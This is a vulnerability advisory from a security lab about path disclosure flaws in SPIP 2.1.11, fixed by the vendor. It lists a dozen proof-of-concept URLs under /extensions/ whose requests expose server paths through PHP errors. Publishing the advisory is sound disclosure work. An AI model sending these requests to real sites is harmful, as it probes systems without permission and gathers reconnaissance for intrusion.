Vulnerability ID: HTB23052 Reference: https://www.htbridge.ch/advisory/path_disclosure_in_spip.html Product: SPIP Vendor: www.spip.net ( http://www.spip.net ) Vulnerable Version: 2.1.11 and probably prior Tested Version: 2.1.11 Vendor Notification: 05 October 2011 Vulnerability Type: Path disclosure Status: Fixed by Vendor Risk level: Low Credit: High-Tech Bridge SA Security Research Lab ( https://www.htbridge.ch/advisory/ ) Vulnerability Details: High-Tech Bridge SA Security Research Lab has discovered path multiple path disclosure vulnerabilities in SPIP. The vulnerabilities exist due to improper error handling in multiple PHP scripts located in /extensions/ folder. It is possible to generate a PHP error that will reveal the full path of the vulnerable script. The following PoC code is available: http://[host]/extensions/filtres_images/filtres/couleurs.php http://[host]/extensions/filtres_images/filtres/images_lib.php http://[host]/extensions/filtres_images/filtres/images_transforme.php http://[host]/extensions/filtres_images/filtres/images_typo.php http://[host]/extensions/filtres_images/inc/filtres_images.php http://[host]/extensions/filtres_images/tests/couleur_extraire.php http://[host]/extensions/filtres_images/tests/multiple_de_trois.php http://[host]/extensions/filtres_images/tests/_couleur_hsl2rgb.php http://[host]/extensions/filtres_images/tests/_couleur_hsv2rgb.php http://[host]/extensions/filtres_images/tests/_couleur_rgb2hsl.php http://[host]/extensions/filtres_images/tests/_couleur_rgb2hsv.php http://[host]/extensions/porte_plume/inc/barre_outils.php Successful exploitation of the vulnerabilities requires that "display_errors" is enabled. Solution: Upgrade to the most recent version Disclaimer: Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on the web page in Reference field.
